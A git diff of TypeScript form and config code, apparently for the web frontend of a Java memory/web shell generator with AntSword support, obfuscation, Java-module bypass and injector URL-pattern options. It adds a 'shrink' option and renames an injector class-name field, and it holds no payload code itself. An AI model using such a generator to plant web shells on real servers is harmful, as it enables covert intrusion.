"optional": "(可选)",
|
||||
|
||||
@@ -18,6 +18,7 @@ export const formSchema = z.object({
|
||||
headerValue: z.optional(z.string()),
|
||||
injectorClassName: z.optional(z.string()),
|
||||
packingMethod: z.string().min(1),
|
||||
shrink: z.optional(z.boolean()),
|
||||
});
|
||||
|
||||
export type FormSchema = z.infer<typeof formSchema>;
|
||||
|
||||
@@ -6,6 +6,7 @@ export interface ShellConfig {
|
||||
debug?: boolean;
|
||||
byPassJavaModule?: boolean;
|
||||
obfuscate?: boolean;
|
||||
shrink?: boolean;
|
||||
}
|
||||
|
||||
export interface ShellToolConfig {
|
||||
@@ -53,7 +54,7 @@ export interface AntSwordShellToolConfig {
|
||||
}
|
||||
|
||||
export interface InjectorConfig {
|
||||
className?: string;
|
||||
injectorClassName?: string;
|
||||
classInheritance?: string;
|
||||
urlPattern?: string;
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ export function transformToPostData(formValue: FormSchema) {
|
||||
debug: formValue.debug,
|
||||
targetJreVersion: formValue.targetJdkVersion,
|
||||
byPassJavaModule: formValue.bypassJavaModule,
|
||||
shrink: formValue.shrink,
|
||||
};
|
||||
const shellToolConfig: ShellToolConfig = {
|
||||
shellClassName: formValue.shellClassName,
|
||||
@@ -23,7 +24,7 @@ export function transformToPostData(formValue: FormSchema) {
|
||||
|
||||
const injectorConfig: InjectorConfig = {
|
||||
urlPattern: formValue.urlPattern,
|
||||
className: formValue.injectorClassName,
|
||||
injectorClassName: formValue.injectorClassName,
|
||||
};
|
||||
return {
|
||||
shellConfig,
|
||||
|
||||
Reference in New Issue
Block a user